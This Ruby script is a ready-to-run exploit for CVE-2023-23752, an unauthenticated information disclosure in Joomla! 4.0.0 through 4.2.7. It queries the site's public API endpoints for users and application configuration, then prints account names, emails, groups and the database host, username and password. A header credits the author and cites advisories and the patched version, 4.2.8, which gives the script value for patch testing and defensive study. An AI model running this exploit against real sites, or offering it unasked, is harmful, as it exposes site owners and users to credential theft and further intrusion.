#!/usr/bin/env ruby # Exploit ## Title: Joomla! < 4.2.8 - Unauthenticated information disclosure ## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr) ## Author website: https://pwn.by/noraj/ ## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752 ## Date: 2023-03-24 ## Vendor Homepage: https://www.joomla.org/ ## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz ## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7) ## Tested on: Joomla! Version 4.2.7 ## CVE : CVE-2023-23752 # Vulnerability ## Discoverer: Zewei Zhang from NSFOCUS TIANJI Lab ## Date: 2023-02-24 ## Discoverer website: https://nsfocusglobal.com/company-overview/nsfocus-security-labs/ ## Title: Joomla Unauthorized Access ## CVE: CVE-2023-23752 ## Patch: Update to >= 4.2.8 ## References: ## - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/ ## - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html ## - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752 ## - https://nvd.nist.gov/vuln/detail/CVE-2023-23752 ## - https://vulncheck.com/blog/joomla-for-rce ## - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml # standard library require 'json' # gems require 'httpx' require 'docopt' require 'paint' doc = <<~DOCOPT #{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]} #{Paint['Usage:', :red]} #{__FILE__} [options] #{__FILE__} -h | --help #{Paint['Parameters:', :red]} Root URL (base path) including HTTP scheme, port and root folder #{Paint['Options:', :red]} --debug Display arguments --no-color Disable colorized output (NO_COLOR environment variable is respected too) -h, --help Show this screen #{Paint['Examples:', :red]} #{__FILE__} http://127.0.0.1:4242 #{__FILE__} https://example.org/subdir #{Paint['Project:', :red]} #{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec) #{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis) #{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752) DOCOPT def fetch_users(root_url, http) vuln_url = "#{root_url}/api/index.php/v1/users?public=true" http.get(vuln_url) end def parse_users(root_url, http) data_json = fetch_users(root_url, http) data = JSON.parse(data_json)['data'] users = [] data.each do |user| if user['type'] == 'users' id = user['attributes']['id'] name = user['attributes']['name'] username = user['attributes']['username'] email = user['attributes']['email'] groups = user['attributes']['group_names'] users << {id: id, name: name, username: username, email: email, groups: groups} end end users end def display_users(root_url, http) users = parse_users(root_url, http) puts Paint['Users', :red, :bold] users.each do |u| puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}" end end def fetch_config(root_url, http) vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true" http.get(vuln_url) end def parse_config(root_url, http) data_json = fetch_config(root_url, http) data = JSON.parse(data_json)['data'] config = {} data.each do |entry| if entry['type'] == 'application' key = entry['attributes'].keys.first config[key] = entry['attributes'][key] end end config end def display_config(root_url, http) c = parse_config(root_url, http) puts Paint['Site info', :red, :bold] puts "Site name: #{c['sitename']}" puts "Editor: #{c['editor']}" puts "Captcha: #{c['captcha']}" puts "Access: #{c['access']}" puts "Debug status: #{c['debug']}" puts puts Paint['Database info', :red, :bold] puts "DB type: #{c['dbtype']}" puts "DB host: #{c['host']}" puts "DB user: #{Paint[c['user'], :yellow, :bold]}" puts "DB password: #{Paint[c['password'], :yellow, :bold]}" puts "DB name: #{c['db']}" puts "DB prefix: #{c['dbprefix']}" puts "DB encryption #{c['dbencryption']}" end begin args = Docopt.docopt(doc) Paint.mode = 0 if args['--no-color'] puts args if args['--debug'] http = HTTPX display_users(args[''], http) puts display_config(args[''], http) rescue Docopt::Exit => e puts e.message end